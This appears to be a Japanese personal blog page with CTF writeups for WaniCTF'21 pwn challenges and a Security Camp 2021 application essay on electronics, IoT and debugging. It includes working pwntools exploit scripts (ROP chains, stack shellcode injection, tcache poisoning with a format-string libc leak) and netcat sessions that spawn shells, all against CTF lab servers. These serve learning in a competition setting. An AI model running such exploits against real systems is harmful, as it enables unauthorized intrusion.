cmd_show_arena(): io.send(b"b\n") ret = read_until(b">") print(ret.decode()) def cmd_execute(): io.send(b"0\n") io.sendline(b'./flag.txt\0') io.interactive() io = pwn.remote("rop-machine-final.pwn.wanictf.org", 9005) # io = pwn.process("./final") ret = read_until(b">") print(ret.decode()) buf = 0x404140 ### followings are just example junk rop codes ### # gets cmd_append_pop_rdi() cmd_append_hex(buf) cmd_append_gets() # open cmd_append_pop_rdi() cmd_append_hex(buf) cmd_append_pop_rsi() cmd_append_hex(os.O_RDONLY) cmd_append_open() # read cmd_append_pop_rdi() cmd_append_hex(3) cmd_append_pop_rsi() cmd_append_hex(buf) cmd_append_pop_rdx() cmd_append_hex(0x50) cmd_append_read() # write cmd_append_pop_rdi() cmd_append_hex(1) cmd_append_pop_rsi() cmd_append_hex(buf) cmd_append_pop_rdx() cmd_append_hex(0x50) cmd_append_write() cmd_execute()
flag: FLAG{you-might-be-the-real-rop-master}
Tarinai
int vuln() { char Name[256]; printf("Name @>%p\n", &Name); printf("Name>"); read(0, Name, 258); printf("Hello %s", Name); return 0; }
2バイトのBOFがあります。これによってRBPの下位2バイトを書き換えられます。RBPをNameのアドレスにすることによってmain終了時のleave命令でRSPがName+8になります。NXが無効なのでNameを以下の状態にしてシェルコードを実行しました。
+---------------+ <- Name | AAAAAAAA | +---------------+ <- Name+0x8 | Name+0x10 | <- リターンアドレス +---------------+ <- Name+0x10 | nop | | ~ | +---------------+ | shellcode | +---------------+
from pwn import * # p = process('chall') p = remote('tarinai.pwn.wanictf.org', 9007) e = ELF('chall') context.binary = e p.recvuntil('@>') stack = int(p.recvline()[:-1], 16) print(hex(stack)) shellcode = asm(shellcraft.sh()) payload = b'A' * 8 payload += p64(stack+0x10) payload += b'\x90' * (0x100 - len(payload) - len(shellcode)) payload += shellcode payload += p64(stack & 0xffff) p.sendline(payload) p.interactive()
diva
$ ./chall I'm born to take flag with music Year : 2061 command : (null) Year : 2076 command : (null) Year : 2081 command : (null) Year : 2121 command : (null) Year : 2161 command : (null) command : (null) I wasn't able to get the flag. Initializing System... Checking Available Memory... Memory available... Give me your code to send to the past counter : 0 0> 1> 2> 3> 4> 5> Change this FLAGless history!! Please...
普通に実行すると特に何もなく終了します。
for (int i = 0; i < 6; i++) { textArea[i] = (char *)malloc(32 * sizeof(char)); printf("%d>", i); read(0, textArea[i], 0x40); } printf("Change this FLAGless history!! Please...\n"); counter += 1; }
readでヒープオーバーフローを起こせます。tcache poisoningで、終了時に呼び出される__do_global_dtors_aux_fini_array_entryをmainに書き換えます。 mainに戻るとtextAreaの文字列がコマンドとして扱われて実行されます。そのコマンドの1つであるsingにはFSBがあります。
void sing(char *parameter) { printf("🎵"); printf( parseVar(parameter)); // Looks Safe since we use % as register indicator! printf("🎵\n"); }
これでlibcリークして、tcache poisoningで__malloc_hookをOne Gadgetに書き換えます。
from pwn import * # p = process('chall') # p = remote('localhost', 7777) p = remote('diva.pwn.wanictf.org', 9008) e = ELF('chall') libc = ELF('libc-2.31.so') one_gadget = [0xe6c84, 0xe6c81, 0xe6c7e] payload = b'A' * 0x28 payload += p64(0x31) payload += p64(0x4034b8) # __do_global_dtors_aux_fini_array_entry p.sendlineafter(b'>', b'sing @@@%51$p') p.sendlineafter(b'>', b'') p.sendlineafter(b'>', b'') p.sendlineafter(b'>', payload) p.sendlineafter(b'>', b'') p.sendlineafter(b'>', p64(e.symbols['main'])) p.recvuntil('🎵@@@') libc.address = int(p.recvline()[:-1], 16) - 0x49be0 # __on_exit print(hex(libc.address)) payload = b'A' * 0x28 payload += p64(0x31) payload += p64(libc.symbols['__malloc_hook']) p.sendlineafter(b'>', payload) p.sendlineafter(b'>', b'') p.sendlineafter(b'>', p64(libc.address + one_gadget[2])) p.interactive()
flag: FLAG{in_this_dazzling_time}
セキュリティ・キャンプ全国大会2021 応募課題
セキュリティ・キャンプ全国大会2021のリバースエンジニアリングゼミに参加することになりました。最初で最後の応募だったのでとてもうれしいです。
参加を目指す方への先行のポイントに「できるだけ多く」とあったのでたくさん書きました。ただ、結構間違ってる部分があると思います(特に(3)とか)。
(0)リバエンゼミ、IoTものづくりゼミのどちらの受講を希望しますか?Xトラックの2つのゼミを併願することもOKですが、その場合はどちらが優先かを明記してください。
第1希望: リバエンゼミ
第2希望: IoTものづくりゼミ
(1)以下の技術用語について解説してください。またどのようなところで使われているかも述べてください。わからない場合は調べて、自分なりに解釈した結果を述べてください。「オームの法則」「UART」「SPI(Serial Peripheral Interface)」「I2C(I-squared-C)」「ソフトウェア無線(SDR)」
- オームの法則
一定の長さと太さの一様な導体上の2点間に電位差Vがあるとき、この導体には電位が高い点から低い点に向かって電流が流れる。このときに流れる電流Iは、2点間の電位差Vに比例し、V = RIの関係が成立する。比例定数Rは抵抗で、2点間の長さに比例し、導体の断面積に反比例する。また、導体内の微小領域において、電流密度の大きさをi、電位差によって生じる電場の大きさをEとすると、i = σEの関係が成立する。これは、導体内のすべての点で成り立つため、一様でない導体であっても足し合わせることでその導体の抵抗が定まる。
電子論によってオームの法則を導く。電子の質量をm、その電荷をeとする。この電子は、導体内に分布する電場Eの作用により加速する。導体内で運動している電子は、導体を構成している電子や不純物と衝突し減速する。この衝突回数は電子の速度vに比例する。したがって、ある衝突から次の衝突までの平均時間をτとすると、導体内での運動方程式は m(dv/dt) = eE - (m/τ)vで表される。電子の動きが定常的になるとき、dv/dt = 0となるから v = (eτ/m)Eとなる。ここで導体の単位体積中に存在する自由電子の数をnとすると、単位時間に単位面積の断面を通過する電気量はenvであるから、電流密度iは i = env = (ne2τ/m)Eとなる。σ = ne2τ/mとおくと、i = σEが導かれる。σが電場の強さによらず一定であるため、オームの法則は金属と合金ではよく成り立つ。 ほとんどの電気回路で使われている法則である。
参考文献
砂川重信 (2019) 『電磁気学 -初めて学ぶ人のために-』 培風館
原康夫 (2019) 『物理学基礎』 学術図書出版社
- UART
Universal Asynchronous Receiver/Transmitterの頭文字で、速度を設定でき、非同期なシリアル通信を使用する、2つのデバイス間の通信プロトコルである。双方向の通信をする場合、送信機と受信機の間の2本のワイヤを使用して、ビット単位でデータを送受信する。通信方式には、一方向のみにデータを伝送する単向通信、双方向で通信できるが送受信を同時に行えない半二重通信、送受信を同時に行える全二重通信の3つがある。各デバイスには信号をやり取りするトランスミッタ(TX)とレシーバー(RX)がある。2つのデバイス間で通信するとき、送信側のデバイスにはデータを送信するデータバスが接続される。送信側のデータがワイヤを介して受信側のデバイスにビットごとに送信される(TX -> RX)。受信側のデバイスは、データを変換してデータバスに渡す。このとき、2つのデバイスでボーレートといわれる情報を転送する速度を同じ値にする必要がある。データの伝送はパケット方式で行われる。パケットは開始ビット、データフレーム、パリティビット、停止ビットからなる。データの転送を開始する際に送信側の開始ビットをハイからローに遷移させることで、受信側がそれを検出しデータフレームの読み出しが開始される。データフレームは開始ビットの直後に続き、パリティビットを使用する場合は最大9ビット、使用しない場合は5~8ビット使用される。パリティビットはデータフレームの直後の1ビットを使用してエラーを検出するために用いられる。これには、フレーム内の1の総数を偶数にする偶数パリティと奇数にする奇数パリティがある。停止ビットは1~2ビットを使用して、パケットの終わりを知らせる。
CPUと周辺機器との通信の際に用いられ、主にコンピュータ機器、組み込みシステム、マイクロコントローラで活用されている。また、ルータなどの基盤にUARTの接続口があると未認証でシェルにアクセスできる可能性が高く、設定したパスワードなどのデバッグ情報が漏洩することがある。
参考文献
https://www.analog.com/jp/analog-dialogue/articles/uart-a-hardware-communication-protocol.html
https://www.rohde-schwarz.com/jp/products/test-and-measurement/oscilloscopes/educational-content/understanding-uart_254524.html
黒林檎、村島正浩 (2018) 『ハッカーの教科書 IoTハッキングの教科書』 データハウス
- SPI
Serial Peripheral Interfaceの頭文字で、コンピュータ内の通信に用いられるインターフェースの1つである。デバイスにはマスタとスレーブがあり、1つのマスタに対して複数のスレーブを接続することが出来る。一般的にはクロック(SPICLK)、チップ・セレクト(CS)、マスタ出力/スレーブ入力(MOSI)、マスタ入力/スレーブ出力(MISO)の4本の信号線で構成されている。クロック信号を生成する方をマスタと呼び、マスタとスレーブの間で送信されるデータは、クロックと同期している。100MHz程の高いクロック周波数に対応し、高速で通信することができる。マスタからのチップ・セレクト信号はスレーブの選択に使用され、スレーブを切り離したい場合はハイにする。複数のスレーブを接続するには各スレーブに対して個別のチップ・セレクト信号を送信する必要がある。通信を開始するには、マスタからクロック信号を送信するとともに、チップ・セレクト信号によりスレーブを選択する。マスタとスレーブはMOSIとMISOによって、シリアルにデータをシフトさせて出力することとデータを読み出すことを同時に行うことが出来る。また、マスタはクロックの極性と位相を選択できる。アイドル状態におけるクロック信号の極性を設定するCPOLビットとクロック信号の位相を選択するCPHAビットがあり、これらの組み合わせによりモードが決まる。スレーブに適合するように設定する必要がある。 コンピュータ内のマイクロコントローラ間の通信やフラッシュメモリなどで使われている。
参考文献
https://www.analog.com/jp/analog-dialogue/articles/introduction-to-spi-interface.html
https://learn.sparkfun.com/tutorials/serial-peripheral-interface-spi/all
https://manual.atmark-techno.com/armadillo-guide-std/armadillo-guide-std-hardware-expansion_ja-1.0.0/ch06.html
- I2C
Inter-Integrated Circuitの略で、オランダのフィリップス社が提唱したコンピュータ内やコンピュータ間の通信に用いられるインターフェースの1つである。デバイスにはマスタとスレーブがあり、1つのマスタに対して複数のスレーブを接続することができる。シリアルデータ(SDA)通信とシリアルクロック(SCL)信号の2つの信号を使う。マスタがシリアルクロック信号を生成し、この信号に同期してシリアルデータ信号でマスタとスレーブが双方向に通信を行う。スレーブには固有のアドレスが割り振られ、マスタがそのアドレスを指定してスレーブと通信を行う。最大3.4Mbpsで通信することができる。通信には、アドレスフォーマットとデータフォーマットがあり、アドレスフォーマットには7ビットモードと10ビットモードがある。7ビットモードの場合、通信を始めるときマスタはスレーブに対して、SCL信号がHighのときにSDA信号をHighからLowにすることでスタートコンディションを発行し、スレーブアドレスとRead/Writeコマンドを送信する。スレーブはそのアドレスが自分のものと一致するかを調べ、一致しない場合は待機状態になり、一致した場合はRead/Writeコマンドに従ってマスタとやりとりする。Readの場合、スレーブはACKを返した後に続けてマスタにデータを送信し、マスタはデータを受信した後にNAKを返す。Writeの場合は、スレーブがACKを返した後にマスタはデータを送信し、データを受信した後にスレーブはACKかNAKを返す。最後にマスタがスレーブに対して、SCL信号がHighのときにSDA信号をLowからHighにすることでストップコンディションを発行し、スレーブは待機状態になって通信が終了する。
I2Cは低消費電力で通信できるため、様々なセンサや集積回路、マイクロコントローラに用いられている。
参考文献
https://www.digikey.jp/ja/articles/why-the-inter-integrated-circuit-bus-makes-connecting-ics-so-easy
https://www.kumikomi-kaihatu.com/technical-column/column-018/
https://emb.macnica.co.jp/articles/8191/
http://www.picfun.com/c15.html
- ソフトウェア無線 (SDR)
Software Defined Radioの略で、無線通信システムの機能をソフトウェアによるデジタル信号処理でハードウェアを変更せずに複数のシステムに対応できるようにすることである。一般的にソフトウェア無線機は、アナログ高周波部、変換部(A/D、D/A)、デジタル信号処理部から構成される。アナログ高周波部は、アナログの高周波(RF)信号を扱う部分である。受信側では受信したRF信号を周波数変換によってデジタル信号処理ができるベースバンド受信信号に変換する。送信側ではベースバンド送信信号を周波数変換してRF信号を送信する。変換部の受信側ではアナログのベースバンド受信信号をデジタルのベースバンド信号に変換(A/D)し、送信側ではデジタルのベースバンド信号をアナログのベースバンド送信信号に変換(D/A)する。デジタル信号処理部は、デジタルのベースバンド信号を処理する。デジタル変復調、符号化・復号化などの機能を持たせることができる。この機能をソフトウェアで柔軟に変更できるように、ハードウェアにはFPGAやDSPのような再構成できるものを用いる。以前は無線機を作るために専用のハードウェアや多くの工数とコストが必要だったが、ソフトウェア無線を用いることで手軽に開発できるようになり、コストを抑えられるようになった。
SDRは、FMラジオ、テレビ、衛星通信、LTEなどのデジタル無線通信、GPSなど様々な分野で応用されている。
参考文献
https://jp.mathworks.com/discovery/sdr.html
https://www.fujitsu.com/jp/group/mtc/technology/course/sdr/
https://www.ituaj.jp/wp-content/uploads/2017/11/2017_11-05-Spot-SDR.pdf
(2)電気には直流と交流があります。どちらが感電したときに危険だと思いますか?その理由と一緒に説明して下さい。また感電はどんな工夫をすれば防げるでしょうか、思いつく限り多く挙げてください。
直流は常に一定の電圧で一定の向きに電流が流れます。一方交流は一定の周期で電圧と電流の向きが変化します。また、人の心臓は規則的に収縮して全身に血液を送り出しています。直流に感電した場合は筋肉が収縮します。交流に感電した場合は周期的な変化により心臓の収縮のリズムが崩れて全身に血液が送られなくなります。血液が送られなくなると呼吸が出来なくなったり、脳が機能しなくなり意識がなくなります。よって、交流の方が直流よりも危険だと思います。
以下のような対策が考えられます。
- 濡れた状態で触らない
感電したときの電流の大きさはオームの法則により電圧/抵抗で求められます。濡れた状態で触ることで抵抗が小さくなり流れる電流が大きくなります。 - 電流が流れる部分をむき出しにしない
電流が流れる部分を直接触れないように、被覆するべきです。 - 壊れたものは使わない
壊れた部分から漏電する可能性があります。 - 接地する
接地することで電流を地面に逃がすことができます。 - 漏電ブレーカー
漏電を検知することで感電を防ぎます。 - ゴム製のものを身につける
ゴムは電気を通しません。 - 作業するときは肌を露出しないようにする
電流が流れる部分を直接触れないようにします。
(3)このデータシートから、以下の情報を読み取ってください。
データシートURL:https://www.espressif.com/sites/default/files/documentation/esp32-wroom-32_datasheet_en.pdf
- この機器は日本で使用できますか?(ヒント:技適)
番号211-161007で技適が取得されているため、日本で使用できる。 - 電源電圧と電源ピンのピン番号はそれぞれいくつですか?
電源電圧: 3.0V~3.6V 電源ピン: 2 - この機器でSPI通信は使用できますか?
4MBのSPI flashがあるためできる。 - この機器に搭載されている水晶振動子の発振周波数はいくつですか?
40MHz - GPIO 1ポートから最大何mAまでの電流を出力できますか?
1100mA - GPIOに5.0Vを入力しようと思います。この機器は正常に動作しますか?
入力電圧の絶対最大定格は3.6Vであるため、正常に動作しない。
(4)IoT温度計を作りたいと考えています。あなたならどう作りますか。できるだけ具体的に説明してください。必要に応じて図などを使ってもOKです。説明の中に、あなたのこだわりポイントを入れて説明してください。
家にあった部品で実際に作ってみました。以下の部品とマイコンを使います。
まず、図のような回路を組みます。
次にArduinoに以下のスケッチを書き込みます。
#include <LiquidCrystal.h> LiquidCrystal lcd(4, 6, 10, 11, 12, 13); const int SENSOR = 5; const int LED = 2; void setup() { Serial.begin(9600); pinMode(LED, OUTPUT); lcd.begin(16, 2); } void loop() { int val = analogRead(SENSOR); float temp = val * (5.0 / 1023.0) * 100; if(temp < 30) digitalWrite(LED, LOW); else digitalWrite(LED, HIGH); lcd.clear(); lcd.setCursor(0, 0); lcd.print(temp); if(temp < 10.0) Serial.print(0); Serial.println(temp); delay(1000); }
まず、setup()内でシリアル通信とLEDが繋がっているピンとLCDの設定をします。loop()内では、まず温度センサの値を読み取り適切な値に変換します。analogRead()は0から5Vの電圧を0から1023に対応させるため、スケッチのような変換が必要になります。変換した値が30よりも小さい場合はLEDをOFFに、大きい場合はONにするようにします。次にLCDとシリアルポートに変換した値を書き込みます。シリアルポートに書き込むとき、値が10よりも小さい場合は、文字数の関係で正確に表示されなくなるため、0を先に書き込んでおきます。
次にArduinoと繋ぐサーバ(PC)で以下のPythonプログラムを実行します。
from flask import * import serial app = Flask(__name__) ser = serial.Serial('COM3', 9600) @app.route('/') def index(): temp = ser.read(7).decode()[:-2] return render_template('index.html', temp = temp) if __name__ == "__main__": app.run(host="0.0.0.0")
flaskというWebアプリケーションフレームワークを用いてWebサーバを立ち上げます。アクセスしたときにシリアルポートの値を読み取ってindex.htmlに渡します。templatesディレクトリ下に以下のようなindex.htmlを作成します。
<!DOCTYPE html> <html> <body> {{ temp }} </body> </html>
受け取った値を表示するだけです。
この温度計は、室内で使うことを想定していて、離れたところからはWebページで温度を確認でき、近くからはLCDに表示される値で確認することができます。こだわりポイントは、30℃以上になった場合は危険を知らせるためにLEDが点灯するところです。
(5)今までにリバースエンジニアリング(分解や解析など)した経験、またはものづくりした経験を好きなだけ語って下さい。対象はソフトウェアやハードウェアに限定しません。
Windowsのデバッガ
32ビットのWindowsプログラム用のデバッガを作ったことがあります。普段使っているデバッガの動作原理が気になり、実際に作ってみることにしました。レジスタの値を表示する機能とブレークポイントを設定する機能をPythonで実装しました。以下で簡単に説明させて頂きます。
まず、CreateProcessA()でデバッガの制御下でプロセスを生成するか、DebugActiveProcess()にプロセスのPIDを渡すことで実行中のプロセスにアタッチします。ループ中でWaitForDebugEvent()を呼び出すことでデバッグイベントを捕捉でき、イベントハンドラによる処理が完了したときContinueDebugEvent()によってプロセスの実行を再開します。WaitForDebugEvent()は、この関数に渡すDEBUG_EVENT構造体に情報を設定します。このDEBUG_EVENT構造体のdwDebugEventCodeによって共用体uの型と値が決まり、この値のそれぞれにイベントハンドラを設定します。最後にDebugActiveProcessStop()でデバッガからプロセスを切り離します。また、ほとんどの関数でプロセスのハンドルが必要になるためOpenProcess()にプロセスのPIDを渡して取得します。 レジスタの状態を捕捉するには、まずデバッグ対象のプロセス中で実行されているスレッドのハンドルが必要です。これは、OpenThread()にTIDを渡すことで取得できます。次にCreateToolhelp32Snapshot()でプロセスで実行中の全てのスレッドを取得し、Thread32First()とThread32Next()でそれらを列挙します。最後にGetThreadContext()で全レジスタの値を取得します。
ソフトウェアブレークポイントは、1バイトの命令によってプロセスの実行を停止します。あるアドレスにブレークポイントを設定するとき、ReadProcessMemory()でそのアドレスのメモリの最初の1バイトを読み取ってリストに保存し、WriteProcessMemory()で割り込み3の命令を表す1バイトに書き換えます。ブレークポイントに到達したとき、このアドレスがブレークポイントのリストに存在するかを確認し、存在する場合は保存してある1バイトを復元します。
ハードウェアブレークポイントは、DR0からDR7の8つのデバッグレジスタを使用して設定します。DR0からDR3はブレークポイントのアドレスを保持し、DR6はブレークポイントに到達したときに引き起こされたデバッグイベントのタイプを決定し、DR7はブレークポイントの条件を保持します。CPUは命令を実行する前に、そのアドレスに対してハードウェアブレークポイントが設定されていないかを確認し、そのアドレスがDR0からDR3のいずれかに格納されていてDR7で設定された条件を満たす場合、割り込み1を引き起こし、CPUは実行を停止します。その後、各レジスタをクリアしCPUは次の命令を実行します。
デバッガを作ることにより、プロセスの起動や中断の方法、ブレークポイントの仕組み、レジスタやメモリを操作する方法、プロセスで発生した例外を捕捉する方法などたくさんのことを知れてとても勉強になりました。今後はディスアセンブルの機能をつけたいと考えています。また、他のアーキテクチャのデバッガも作ってみたいです。ELFファイル
私は趣味でCTFに参加していてPwnと呼ばれるバイナリを解析して脆弱性を探し、脆弱性を使って攻略するという分野の問題をよく解いています。ELFファイルはPwnでよく出題されるため、今までたくさん解析してきました。主にGDB、objdump、Ghidra、readelfなどのツールを使い解析をします。特にGDBはよく使っていて、アセンブラを読んだり、プログラムによってどのようにメモリが使われるのかを解析してきました。Ghidraは主にデコンパイルするときに使っています。また、ELFファイルの解析を通して、プログラムの脆弱性について理解しました。例えば、リターンアドレスを書き換えることで任意のアドレスに処理を移すことができる原理や、mallocやfreeなどのlibcの関数の処理を悪用することによる攻撃の手法について理解しました。これに伴いNX、RELRO、Stack Canary、PIEなどのプログラムのセキュリティ機構についても理解しました。ここで先日開催されたSECCON Beginners 2021で実際に出題された問題を解いたときの手段、方法について紹介させて頂きます。
beginners_rop
以下のようなアセンブラのmain関数を持つプログラムが与えられます。
0x0000000000401196 <+0>: endbr64 0x000000000040119a <+4>: push rbp 0x000000000040119b <+5>: mov rbp,rsp 0x000000000040119e <+8>: sub rsp,0x100 0x00000000004011a5 <+15>: lea rax,[rbp-0x100] 0x00000000004011ac <+22>: mov rdi,rax 0x00000000004011af <+25>: call 0x401090 <gets@plt> 0x00000000004011b4 <+30>: lea rax,[rbp-0x100] 0x00000000004011bb <+37>: mov rdi,rax 0x00000000004011be <+40>: call 0x401070 <puts@plt> 0x00000000004011c3 <+45>: mov eax,0x0 0x00000000004011c8 <+50>: leave 0x00000000004011c9 <+51>: ret
gets関数でスタックの領域に入力を書き込むことがわかります。gets関数は引数に書き込む領域だけを指定して、書き込むサイズは指定しません。書き込むサイズを指定しないと無限に入力ができることになります。今回の例で実際に無限に入力を行うとスタックにあった値を書き換えることになります。
関数が呼ばれるとき、関数の処理が終了したときに呼び出し元に戻れるようにリターンアドレスをスタックに書き込みます。このリターンアドレスを書き換えることで関数の処理が終了したときに任意のアドレスに処理を移動させることができます。今回の例ではrbp+0x8の位置にリターンアドレスがあります。GDBを使うことで以下のように確認できます。
gdb-peda$ x/gx $rbp+0x8 0x7fffffffde58: 0x00007ffff7df30b3 gdb-peda$ x/i 0x00007ffff7df30b3 0x7ffff7df30b3 <__libc_start_main+243>: mov edi,eax
rbp+0x8にある値を表示し、その値は__libc_start_main+243のアドレスということがわかります。
ここではgets関数で0x108文字以上書き込むことでリターンアドレスが書き換えられることがわかります。このようにリターンアドレスを書き換えることで任意のアドレスに処理を移動させ、最終的にはシェルを起動させることができます。
- Webアプリケーション
略
(6)あなたが今一番リバースエンジニアリング(分解して仕組みが知りたい)したいもの、またはものづくりしたいものを紹介して下さい。
ネットワークカメラをリバースエンジニアリングしてみたいです。理由は主に2つあります。1つ目は、ハードウェアのリバースエンジニアリングの経験がほとんどないからです。今までソフトウェアの解析ばかりやってきたので、ハードウェアを解析してみたいです。ハードウェアを解析することで、デバイスがどのような仕組みで動いてるか、ソフトウェアとどのように連携しているかなど様々なことを知れると考えています。2つ目は、ネットワークカメラの仕組みが気になったからです。どのようにカメラで撮影した映像や画像にネットワークからアクセスするのか、どのようにネットワークからカメラを操作するのか、どのように動作を検知するのか、どのように自動で追尾するのかなどに興味があります。
ネットワークカメラはネットワークからアクセスできるようにする必要があるため、Webサーバーが搭載されることが多いです。Webサーバーにアクセスすることで、ネットワークカメラの設定をしたり、ユーザーとパスワードを設定したりします。このWebページを解析することで、ネットワークからアクセスする仕組みや脆弱性がどのように悪用されるかなどを知れると思います。
デバイスにはハードウェアを制御するファームウェアが内蔵されています。近年、このファームウェアを狙うサイバー攻撃が増えてきています。脆弱性を悪用することでファームウェアが改ざんされたり、ハードウェアが乗っ取られたりすることがあります。ファームウェアを解析することで、ネットワークカメラが動く仕組みやどのようにしてサイバー攻撃がされ、それをどのように防ぐのかを知れると思います。
(7)何か他にアピールしたいことがあれば、自由に書いてください。誤ったことを書いていても減点はしません。書いておきたいことはなんでも書いてください。
私は大学でデバイスや電子情報システムの基礎となる理論やシステムの開発に必要な基礎知識について学んでいます。今まで電磁気学、電気回路、信号処理などを履修してきました。
電気回路では、回路の解析方法や、オペアンプやトランジスタなどの電子部品の特性などを学びました。回路の解析では、ラプラス変換や微分方程式を用いた回路方程式の解き方、過渡現象、周波数応答などを学びました。シミュレーターを用いて電気回路の周波数解析、時間解析をしたことがあります。また、オペアンプを用いた反転増幅回路、非反転増幅回路や発振器、加算回路などの演算回路をシミュレーターで解析し、オペアンプの特性について理解しました。トランジスタについても同様に、エミッタ接地回路をシミュレーターで解析し、トランジスタの特性やトランジスタによってどのように入力が増幅されるのかを理解しました。
信号処理では、信号の変換や加工の仕方について学んでいます。フーリエ変換を用いた周波数解析の手法を理解しました。実際にDFT(離散フーリエ変換)のプログラムを実装し、デジタル信号をサンプリングしたことがあります。また、ハミング窓を実装したり、音声データで対数パワースペクトルを求めることによるスペクトル解析をしたことがあります。
今回応募した理由は主に2つあります。1つ目は、自身の技術力を向上させたいと思ったからです。セキュリティキャンプは、専門家や技術者の方から技術について教えて頂くことができる貴重な機会だと思っています。私は今まで独学でサイバーセキュリティを主に様々なことを学んできましたが、独学ゆえに偏った知識や未熟な点がまだ多くあると思っています。セキュリティキャンプを通して、新たな知識やものの見方のようなものを得て、自身の技術力を向上させ、可能性を広げていきたいと考えています。2つ目は、ものがどのように動くのかに興味があるからです。私はコンピュータがどのように動くのか気になって、低レイヤと呼ばれるデバイスなどの基本的な制御を行うシステムプログラムの勉強し始めました。大学で現在の学科を選択した理由にもこのことが大きく関わっています。XトラックではIoT機器を分解、解析したり実際に作ったりできると伺いました。特にリバエンゼミでは無線通信の解析を行うと伺いました。今まで無線通信の解析をすることはあまりなかったので、とても興味があります。セキュリティキャンプはそういった自分が知らなかったことを知れるいい機会だとも思っています。解析やものづくりを通してデバイスが動く仕組みについて理解していきたいと考えています。
まとめ
(1)は知識がほとんどなかったので調べながら書きました。
(2)は感電について調べていたら「殺人の教科書」というサイトを見つけて怖かったです。
(3)は自信ないです。当たってるのかな🤔
(4)はラズパイを使いたかったのですが、手元になかったのでArduinoにしました。Web開発わからないのでWebアプリの実装は雑です。
(5)は「リバースエンジニアリング」という本を読んで実装したデバッガについて書きました。CTFの問題の解説はもっと書けたのですが、とても長くなりそうなのでやめておきました。
(6)は「IoTハッキングの教科書」という本を眺めて面白そうだと思ったものを選びました。
(7)の前半は、大学で最近やった実験についてです。レポートのストレスを少し発散しました。後半はポエムです。
WaniCTF'21-spring Writeup
今年もWaniCTFに参加しました。昨年のWriteup
PwnとReversingだけ解きました。とても楽しかったです。
Pwn
01 netcat
nc
するとシェルが起動してます。
$ nc netcat.pwn.wanictf.org 9001 congratulation! please enter "ls" command ls chall flag.txt redir.sh cat flag.txt FLAG{this_is_the_same_netcat_problem_as_previous_one} exit
flag: FLAG{this_is_the_same_netcat_problem_as_previous_one}
02 free hook
int main() { init(); __free_hook = system; while (1) { command(); list_memos(); } }
__free_hook
がsystem
で書き換えられています。
これによってfree
が呼び出されたときにsystem
が呼び出されます。
よって, /bin/sh
のアドレスを引数にfree
を呼び出せば, system("/bin/sh")
が呼び出されることになります。
add memoで/bin/sh
を書き込んでdel memoすればシェルが起動します。
$ nc free.pwn.wanictf.org 9002 1: add memo 2: view memo 9: del memo command?: 1 index?[0-9]: 0 memo?: /bin/sh [[[list memos]]] ***** 0 ***** /bin/sh 1: add memo 2: view memo 9: del memo command?: 9 index?[0-9]: 0 ls chall flag.txt redir.sh cat flag.txt FLAG{malloc_hook_is_a_tech_for_heap_exploitation} exit
flag: FLAG{malloc_hook_is_a_tech_for_heap_exploitation}
03 rop machine easy
ROPを練習するツール。すごい。
使い方を参考にROPします。
x86_64なので第1引数をRDIに書き込みます。
$ nc rop-easy.pwn.wanictf.org 9003 "/bin/sh" address is 0x404070 [menu] 1. append hex value 2. append "pop rdi; ret" addr 3. append "system" addr 8. show menu (this one) 9. show rop_arena 0. execute rop > 2 "pop rdi; ret" is appended > 1 hex value?: 0x404070 0x0000000000404070 is appended > 3 "system" is appended > 0 rop_arena +--------------------+ | pop rdi; ret |<- rop start +--------------------+ | 0x0000000000404070 | +--------------------+ | system | +--------------------+ ls chall flag.txt redir.sh cat flag.txt FLAG{this-is-simple-return-oriented-programming} exit
flag: FLAG{this-is-simple-return-oriented-programming}
04 rop machine normal
easyと同様にしてexecve("/bin/sh", 0, 0)
を実行します。
第2引数はRSI, 第3引数はRDXに書き込みます。
RAXにsyscall番号0x3bを書き込んでsyscallすることで実行されます。
$ nc rop-normal.pwn.wanictf.org 9004 "/bin/sh" address is 0x404070 [menu] 1. append hex value 2. append "pop rdi; ret" addr 3. append "pop rsi; ret" addr 4. append "pop rdx; ret" addr 5. append "pop rax; ret" addr 6. append "syscall; ret" addr 8. show menu (this one) 9. show rop_arena 0. execute rop > 2 "pop rdi; ret" is appended > 1 hex value?: 0x404070 0x0000000000404070 is appended > 3 "pop rsi; ret" is appended > 1 hex value?: 0 0x0000000000000000 is appended > 4 "pop rdx; ret" is appended > 1 hex value?: 0 0x0000000000000000 is appended > 5 "pop rax; ret" is appended > 1 hex value?: 0x3b 0x000000000000003b is appended > 6 "syscall; ret" is appended > 0 rop_arena +--------------------+ | pop rdi; ret |<- rop start +--------------------+ | 0x0000000000404070 | +--------------------+ | pop rsi; ret | +--------------------+ | 0x0000000000000000 | +--------------------+ | pop rdx; ret | +--------------------+ | 0x0000000000000000 | +--------------------+ | pop rax; ret | +--------------------+ | 0x000000000000003b | +--------------------+ | syscall; ret | +--------------------+ ls chall flag.txt redir.sh cat flag.txt FLAG{now-you-can-call-any-system-calls-with-syscall} exit
flag: FLAG{now-you-can-call-any-system-calls-with-syscall}
05 rop machine hard
Gadgetのアドレスを調べます。
$ ROPgadget --binary ./pwn05
使うアドレスは以下のようになりました。
pop rdi = 0x000000000040128f pop rsi r15 = 0x0000000000401611 pop rdx = 0x000000000040129c pop rax = 0x00000000004012a9 syscall = 0x00000000004012b6 binsh = 0x0000000000404078
normalと同様にROP chainを組みます。
$ nc rop-hard.pwn.wanictf.org 9005 [menu] 1. append hex value 8. show menu (this one) 9. show rop_arena 0. execute rop > 1 hex value?: 0x000000000040128f 0x000000000040128f is appended > 1 hex value?: 0x0000000000404078 0x0000000000404078 is appended > 1 hex value?: 0x0000000000401611 0x0000000000401611 is appended > 1 hex value?: 0 0x0000000000000000 is appended > 1 hex value?: 0 0x0000000000000000 is appended > 1 hex value?: 0x000000000040129c 0x000000000040129c is appended > 1 hex value?: 0 0x0000000000000000 is appended > 1 hex value?: 0x00000000004012a9 0x00000000004012a9 is appended > 1 hex value?: 0x3b 0x000000000000003b is appended > 1 hex value?: 0x00000000004012b6 0x00000000004012b6 is appended > 0 rop_arena +--------------------+ | 0x000000000040128f |<- rop start +--------------------+ | 0x0000000000404078 | +--------------------+ | 0x0000000000401611 | +--------------------+ | 0x0000000000000000 | +--------------------+ | 0x0000000000000000 | +--------------------+ | 0x000000000040129c | +--------------------+ | 0x0000000000000000 | +--------------------+ | 0x00000000004012a9 | +--------------------+ | 0x000000000000003b | +--------------------+ | 0x00000000004012b6 | +--------------------+ ls chall flag.txt redir.sh cat flag.txt FLAG{y0ur-next-step-is-to-use-pwntools} exit
flag: FLAG{y0ur-next-step-is-to-use-pwntools}
06 SuperROP
BOFがあります。ただ, Gadgetがあまりないためこれまでの問題のようにROP chainは組めません。
